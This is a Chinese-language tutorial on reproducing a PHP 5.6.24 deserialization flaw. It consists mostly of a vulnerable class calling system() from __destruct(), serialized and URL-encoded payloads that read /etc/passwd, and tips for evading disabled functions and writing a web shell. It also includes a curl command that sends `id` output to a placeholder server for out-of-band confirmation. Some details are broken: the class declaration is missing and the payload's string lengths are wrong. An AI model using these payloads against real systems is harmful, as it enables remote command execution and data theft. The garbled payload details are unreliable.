PHP 5.6.24反序列化漏洞复现关键在于开发者误用unserialize()处理用户输入,需构造含危险魔术方法(如__destruct)的public类,配合合法序列化payload触发命令执行或文件写入。

PHP 5.6.24 是一个已知存在反序列化风险的稳定版本,其漏洞复现不依赖版本特有缺陷,而是聚焦于开发者误用 unserialize() 处理用户输入这一典型错误。只要代码中存在可控反序列化点 + 可利用魔术方法,就能在该版本下稳定触发。
关键前提:构造一个可利用的类
漏洞能否复现,核心不在 PHP 版本,而在你控制的代码逻辑。需先定义一个含危险魔术方法的类,例如:
-
__destruct() 或 __wakeup() 中调用了
system()、file_put_contents()、include()等敏感操作 - 类属性应为
public(避免因protected/private导致序列化字符串格式出错) - 示例类(保存为
vuln.php):
public $cmd = 'id';
function __destruct() {
system($this->cmd);
}
}
if (isset($_GET['data'])) {
unserialize($_GET['data']);
} else {
echo 'Payload: ' . serialize(new Exploit());
}
?>
生成并提交有效 payload
PHP 5.6.24 对序列化格式解析严格,需确保 payload 完全合法:
- 先本地运行脚本获取标准序列化结果:
O:7:"Exploit":1:{s:3:"cmd";s:2:"id";} - 修改
s:2:"id"为s:8:"cat /etc/passwd",注意同步更新字符串长度(8)和内容 - 最终 payload 示例:
O:7:"Exploit":1:{s:3:"cmd";s:16:"cat /etc/passwd";} - URL 编码后通过 GET 提交:
?data=O%3A7%3A%22Exploit%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A16%3A%22cat+%2Fetc%2Fpasswd%22%3B%7D
绕过常见障碍(5.6.24 特别注意)
该版本默认未禁用危险函数,但需留意实际环境配置:
立即学习“PHP免费学习笔记(深入)”;
- 若
system()被禁用,改用exec()、passthru()或文件写入类利用(如写入 WebShell) - 确保目标服务器未开启
open_basedir限制,否则读取系统文件会失败 - 若页面无回显,可用
curl http://your-server.com/log?x=`id`做带外验证 - 避免使用 PHP 7+ 新增的语法(如匿名类),保持 payload 兼容 5.6.x
验证是否成功
直接观察响应内容或服务端行为:
- 命令执行类:响应中出现
/etc/passwd内容或uid=信息 - 文件写入类:访问
/shell.php看是否能执行 - 无回显时检查 DNSLog 或 HTTP 请求日志,确认外连是否发生
- 用
php -v确认当前确实是 5.6.24,排除版本误判



















